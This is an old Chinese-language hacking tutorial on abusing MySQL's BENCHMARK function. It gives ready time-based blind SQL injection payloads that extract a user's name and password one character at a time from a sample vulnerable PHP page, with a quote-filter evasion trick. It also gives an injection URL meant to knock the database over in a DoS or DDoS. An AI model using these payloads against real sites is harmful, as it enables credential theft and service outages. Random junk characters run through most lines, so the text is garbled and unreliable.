MYSQL中BENCHMARK函数的利用
! @' ^, n9 a M. V* L8 M3 P7 C本文作者:SuperHei
G$ L; p' Z; a) ^文章性质:原创" p& [5 l* B c4 d9 D1 y* u
发布日期:2005-01-02
$ Z5 Z$ t/ N5 Q$ N# k% O完成日期:2004-07-09
+ |, k3 V1 A& _4 m! u6 T1 Z3 v0 b: g7 i第一部( x# d6 |1 R2 v' ]' F# U) i" y
1 H3 q/ e' a. k8 u6 P
利用时间推延进行注射---BENCHMARK函数在注射中的利用 " |! u1 L' ?: t% f
8 i& e7 \; Q9 c1 r, a一.前言/思路
0 V3 o- Z4 ^4 a3 a/ K5 }- t# n; E5 Z3 l2 S- Z- g; m9 T8 s
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。0 g1 O% ~7 v4 a3 A2 S
( v/ b# J) H7 V; \! m5 E 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
3 }" P. m" {# T5 _, o
6 ]: n2 f% X( V0 p$ R; s( ~二.关于BENCHMARK函数
" m, P5 i8 h! y4 x
6 D: B8 k4 ^6 D 在MySQL参考手册里可以看到如下描叙: . x( J- |. J$ [! }! n, q$ M7 C
1 o, W* }/ F/ j. ~& T; [
2 y) b; A+ J; X1 n+ A' U
--------------------------------------------------------------------------------8 l$ \% C: | m6 w, X& D+ [% _
& h0 T" M3 Z- G, Y& j ~
BENCHMARK(count,expr) , t6 \- X M) x" t0 ?$ N7 {
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 1 E& v2 \1 Q+ y' M
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
4 B* Y8 O9 }1 ^( I0 }. e+----------------------------------------------+
7 z6 W, d" e0 n4 E$ _. v6 J9 N| BENCHMARK(1000000,encode("hello","goodbye")) |
+ y/ u& a: u9 s l* p9 _; a+----------------------------------------------+ ; k4 I$ p& N1 ]% J6 |! V
| 0 | 7 n1 I5 g$ \: r v
+----------------------------------------------+
- q3 Q$ b+ S/ U& \- `0 a6 I/ H- i y1 row in set (4.74 sec)
! B# T$ ?) A+ l4 e4 C
% g" w- m" e1 ~7 \报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
8 @- R1 J, t+ E$ L# b0 A6 y) H/ M( i% I- U" Z
& c8 z: G/ Z* X8 ` h" }6 C: q+ U
--------------------------------------------------------------------------------
$ E! C Z& u" c6 q2 L& }) J( J3 G% c
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ! r% q5 c- r1 u' d0 k& @ Y
4 l' \0 o) l8 G: H
mysql> select md5( 'test' ); ) C5 H' I. \; O. M
+----------------------------------+ 1 z2 X: g6 @/ N1 N1 ?7 m
| md5( 'test' ) |
# M2 {$ J+ o9 R! O) [9 b) A8 \& @, E' u+----------------------------------+ ) o) [3 ` N8 W% H6 Z S
| 098f6bcd4621d373cade4e832627b4f6 |
7 V& M& A/ i. ?: p- @+----------------------------------+ 9 x, t: N! I' t- W0 [9 R
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
; j9 c9 O ~! }! |, U& D7 v
2 g% {3 d. {* U) O* zmysql> select benchmark( 500000, md5( 'test' ) );
2 s* E! g. p- W9 l# `) D: @0 v+------------------------------------+ 5 |. n5 ` o- q, z
| benchmark( 500000, md5( 'test' ) ) |
! k; ^& | g+ C+------------------------------------+
! T; N) T4 q3 T| 0 | : p- ~0 |4 s2 N7 R8 a
+------------------------------------+
7 D4 N$ E& Q9 J! Q1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
( C8 [1 _: e! s* @ `% m6 K 4 }/ k; E3 X: \3 {
8 m: d1 N% D3 L5 j 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
/ k% k4 T0 |4 M0 |; M; ^. m$ j4 B7 ~. ~% p% U; E
三.具体例子
1 b/ o: c& c& _* ^7 }; @
. U1 [6 H9 n6 a# t# h1 _& M 首先我们看个简单的php代码:
! m- | G& O& q* c
% r$ j8 Z$ l& y$ B2 K< ?php ' O) T, k; V y, n2 ?& _# H
$servername = "localhost"; G% d! x$ r, R( c& A. @
$dbusername = "root";
4 N! W$ L* d8 w7 z( [, k" m$dbpassword = "";
: Y& q9 I$ P: L$dbname = "injection"; - ^: [6 t& u$ C+ ] e& A; o3 P
8 Y, a% R) x$ @
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
5 B! z) S8 m! C
' y) c( D0 J$ l5 o' W# y7 K0 A. x$sql = "SELECT * FROM article WHERE articleid=$id"; 3 ^/ B& a9 a W% A! b
$result = mysql_db_query($dbname,$sql);
& j' x( a9 U( x8 h/ i$row = mysql_fetch_array($result);
* Z, }( ]2 R; T$ Q; p( q/ q! w) N1 m7 j3 L- F9 y
if (!$row) 9 c3 h% ?- l4 S( ?
{
. _( G% U0 h7 |# O9 r; G N; L( Sexit; - {6 z7 y" [" r7 P4 U: ]
} ) U6 _: l: |9 T+ t5 ?- ~* V/ s
?>
3 O6 e. g) H' ?+ n
}# ?$ X$ n2 [) z$ s* i2 u
0 M3 ~# D$ t, _" y" `2 V Y% x 数据库injection结构和内容如下:
0 N" y1 \' D) R) @- X8 m- O7 i2 G3 `
# 数据库 : `injection` + Y& ~$ }2 s& m) Y& E8 B! i J* {
# - D: ]- {) K- ?4 v! I$ A& F# N
. K) _5 x( n8 U# -------------------------------------------------------- 4 I; \ Q2 _7 s2 }3 Z& [
6 R3 K3 v( S: E: s T F
# 3 m T3 i/ S! p7 @
# 表的结构 `article` 4 y8 h8 L6 X. W* e8 m
# ! S3 ^! B, F9 S/ D
! n1 ^4 J: D! y$ h5 y% e0 r6 ^
CREATE TABLE `article` ( 9 q$ o" |# e, X; p/ ~% H. T
`articleid` int(11) NOT NULL auto_increment, 5 ~% s5 A% d# a, w0 L
`title` varchar(100) NOT NULL default '', - J, {) G! Y6 e9 @. k
`content` text NOT NULL,
3 j' l9 z; C K6 APRIMARY KEY (`articleid`) % ]; c- o9 b- C& Y# M
) TYPE=MyISAM AUTO_INCREMENT=3 ;
* E: Q9 ]( C. d0 U; y
G5 w9 c) z# w! }% o: V x% J# m( F/ c8 _! M+ P( m% ]
# 导出表中的数据 `article` % ~* \5 H7 _' O
# . l. i3 m- A# R9 s4 H
* _% O+ w3 }% G$ B- U
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
1 f) @2 u: e9 v8 UINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. L/ m n! f' r# f- k
# | F/ i# p! f& R% R' c# --------------------------------------------------------
5 g& u' N# C; p5 h# A+ \
; o6 L/ m' o; V2 ]$ C5 m7 y6 i#
n* Z8 H, O, E: g# 表的结构 `user`
5 V! j5 b2 J) t8 A) E#
g$ T: p; N2 D* e* [# i9 D8 L7 R, t+ x9 Z8 E
CREATE TABLE `user` ( 5 X) W& ?" o9 U' H. B
`userid` int(11) NOT NULL auto_increment,
& C* T, r. f5 O/ v) F( v% W) O" g`username` varchar(20) NOT NULL default '', 5 Q. r' ~; B9 v: K2 Z7 s
`password` varchar(20) NOT NULL default '', 2 s' {3 K; A3 c0 G& ]% L
PRIMARY KEY (`userid`)
' ^; Z2 S( k1 Q+ q; B& Z6 T) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 N2 p, q5 N$ z/ z2 a
5 r9 L1 c- l& @8 q4 M' f4 P& P# - O9 \$ n# C- G3 h6 L# v
# 导出表中的数据 `user`
5 ^; U7 r/ m- r# 5 Z; W2 J3 g3 {- B, c" Z
8 U* g0 T$ x4 U8 x9 V2 Q9 CINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ; T" t. L9 @8 E/ P
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');; Z# o; r5 Y6 U% I8 o$ r
. t& B, a0 |! x% Y" W& `% l3 h
( V5 U6 p( n' W* F/ s* o
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:5 y- f7 P7 h# ^6 [$ t
( G7 j6 N( [# r
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
, \% F" x( J- o9 L$ C. A" |8 l / S- l, r, F! O$ Q3 M5 U( k B
( ]1 U- F% c) V. U* }5 I, Q 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
x+ W! m% @; k! B& C* K
6 ^2 O Q" s1 khttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*1 d! i3 V* x& J$ x
3 z/ c( Q6 `3 ~
1 S4 O+ y+ T4 ]2 l8 T6 c4 L/ C
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ' V2 \6 y! J* E8 T
% v* @: T0 E5 [, j7 g 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# c) I0 N7 w# x+ b" z+ u. S
7 p- w0 `* D: W, y第二部
5 e' ~. k4 q, S3 e/ V9 G# u8 V* n$ k
% c+ x/ p) F8 H/ i利用BENCHMARK函数进行ddos攻击
* n3 m! A9 q4 I2 T- S+ V$ @' |, O9 a# [* j9 ^& K' d6 J3 H' r+ h
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
+ T" n9 s( m" i' ~5 Q6 y9 \
! @7 W T ^6 j" Shttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
8 c6 x8 f% ~8 h/ B
; G# ]9 R8 U0 [, m0 b5 S0 E/ |% a& K3 x
小结
$ O! F2 f# @* c3 g8 e: W9 U
0 N: C' D o) s G" K 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。; R% V( J7 L+ M' z: s
# U. q( \3 K3 A5 @1 q$ |6 m' j % |1 [7 Z( \& Z+ s* h
|